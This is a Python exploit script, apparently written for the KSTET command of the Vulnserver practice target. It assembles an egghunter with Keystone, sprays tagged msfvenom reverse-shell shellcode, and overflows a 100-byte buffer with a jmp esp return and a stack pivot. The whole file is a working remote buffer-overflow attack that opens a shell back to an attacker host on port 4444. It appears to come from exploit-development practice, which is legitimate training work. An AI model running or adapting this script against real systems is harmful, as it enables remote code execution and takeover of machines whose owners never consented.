exploit_KSTET.py

import socket
import sys
import struct
import hexdump
from keystone import *

host = "192.168.112.133"
port = 9999

CODE = """
    or cx, 0xFFF;
    mov eax, 0x57303054
egg1:
    inc ecx
try_again:
    mov edi, ecx
    scasd
    jnz  egg1
    scasd
    jnz egg1
    jmp edi
"""

try:
    ks = Ks(KS_ARCH_X86, KS_MODE_32)
    encoding, count = ks.asm(CODE)
    #print("%s = %s (number of statements: %u)" %(CODE, encoding, count))

    encoded_egghunter = "".join(map(lambda x: chr(x) , encoding))
    #hexdump.hexdump(encoded_egghunter)
except KsError as e:
    print("ERROR: %s" %e)

pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
buf =  "HELP T00WT00W"
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.112.134 LPORT=4444 EXITFUNC=thread -b "\x00\x0a\0x0d" -f python -o shell_kstet.txt
buf += "\xbf\xc7\x2e\x68\x73\xda\xc1\xd9\x74\x24\xf4\x58\x33"
buf += "\xc9\xb1\x52\x31\x78\x12\x03\x78\x12\x83\x2f\xd2\x8a"
buf += "\x86\x53\xc3\xc9\x69\xab\x14\xae\xe0\x4e\x25\xee\x97"
buf += "\x1b\x16\xde\xdc\x49\x9b\x95\xb1\x79\x28\xdb\x1d\x8e"
buf += "\x99\x56\x78\xa1\x1a\xca\xb8\xa0\x98\x11\xed\x02\xa0"
buf += "\xd9\xe0\x43\xe5\x04\x08\x11\xbe\x43\xbf\x85\xcb\x1e"
buf += "\x7c\x2e\x87\x8f\x04\xd3\x50\xb1\x25\x42\xea\xe8\xe5"
buf += "\x65\x3f\x81\xaf\x7d\x5c\xac\x66\xf6\x96\x5a\x79\xde"
buf += "\xe6\xa3\xd6\x1f\xc7\x51\x26\x58\xe0\x89\x5d\x90\x12"
buf += "\x37\x66\x67\x68\xe3\xe3\x73\xca\x60\x53\x5f\xea\xa5"
buf += "\x02\x14\xe0\x02\x40\x72\xe5\x95\x85\x09\x11\x1d\x28"
buf += "\xdd\x93\x65\x0f\xf9\xf8\x3e\x2e\x58\xa5\x91\x4f\xba"
buf += "\x06\x4d\xea\xb1\xab\x9a\x87\x98\xa3\x6f\xaa\x22\x34"
buf += "\xf8\xbd\x51\x06\xa7\x15\xfd\x2a\x20\xb0\xfa\x4d\x1b"
buf += "\x04\x94\xb3\xa4\x75\xbd\x77\xf0\x25\xd5\x5e\x79\xae"
buf += "\x25\x5e\xac\x61\x75\xf0\x1f\xc2\x25\xb0\xcf\xaa\x2f"
buf += "\x3f\x2f\xca\x50\x95\x58\x61\xab\x7e\xa7\xde\xc3\xf8"
buf += "\x4f\x1d\x23\x14\xcc\xa8\xc5\x7c\xfc\xfc\x5e\xe9\x65"
buf += "\xa5\x14\x88\x6a\x73\x51\x8a\xe1\x70\xa6\x45\x02\xfc"
buf += "\xb4\x32\xe2\x4b\xe6\x95\xfd\x61\x8e\x7a\x6f\xee\x4e"
buf += "\xf4\x8c\xb9\x19\x51\x62\xb0\xcf\x4f\xdd\x6a\xed\x8d"
buf += "\xbb\x55\xb5\x49\x78\x5b\x34\x1f\xc4\x7f\x26\xd9\xc5"
buf += "\x3b\x12\xb5\x93\x95\xcc\x73\x4a\x54\xa6\x2d\x21\x3e"
buf += "\x2e\xab\x09\x81\x28\xb4\x47\x77\xd4\x05\x3e\xce\xeb"
buf += "\xaa\xd6\xc6\x94\xd6\x46\x28\x4f\x53\x66\xcb\x45\xae"
buf += "\x0f\x52\x0c\x13\x52\x65\xfb\x50\x6b\xe6\x09\x29\x88"
buf += "\xf6\x78\x2c\xd4\xb0\x91\x5c\x45\x55\x95\xf3\x66\x7c"


buffer = "KSTET "
#buffer += pattern
buffer += "\x90\x90"
buffer += encoded_egghunter
buffer += "\x90" * (76 - len(buffer))
buffer += struct.pack("<L", 0x625011af) #jmp esp
buffer += "\x83\xec\x48"                #add esp, 0x48
buffer += "\xff\xe4"                    #jmp eax

buffer += "\x90" * (100 - len(buffer))
buffer += "\r\n"

for _ in xrange(5):
    egg = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    egg.connect((host, port))
    egg.recv(1024)
    egg.send(buf)
    egg.close()

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buffer)
expl.close()